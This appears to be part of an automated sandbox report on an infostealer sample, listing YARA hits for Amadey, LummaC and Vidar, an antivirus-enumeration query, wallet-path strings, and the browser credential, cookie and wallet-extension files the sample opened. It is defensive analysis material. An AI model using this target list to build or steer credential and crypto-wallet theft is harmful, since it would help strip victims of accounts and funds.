Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Code function: 3_2_0091CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

3_2_0091CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 4_2_00C92517 GetTimeZoneInformation,

4_2_00C92517

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: oaBqkImU6R.exe, 00000001.00000003.1506456347.0000000001455000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000002.1578764079.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, oaBqkImU6R.exe, 00000001.00000003.1506567337.00000000013EC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.skotes.exe.c50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.PT6MNTDM2CSK3U9W2989W1J.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.2295844023.0000000000C51000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2794310661.0000000000C51000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1689909468.0000000000C51000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1647361683.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1630205999.0000000000901000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1589499568.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1641435218.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2254468360.00000000052A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: oaBqkImU6R.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: oaBqkImU6R.exe, 00000001.00000002.1579021482.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: oaBqkImU6R.exe, 00000001.00000002.1579021482.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: oaBqkImU6R.exe, 00000001.00000002.1579021482.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: oaBqkImU6R.exe, 00000001.00000003.1491059863.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger
Source: oaBqkImU6R.exe, 00000001.00000003.1491059863.0000000001455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3[g
Source: oaBqkImU6R.exe, 00000001.00000002.1579021482.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: oaBqkImU6R.exe, 00000001.00000003.1459340093.0000000001433000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: erations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520}

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
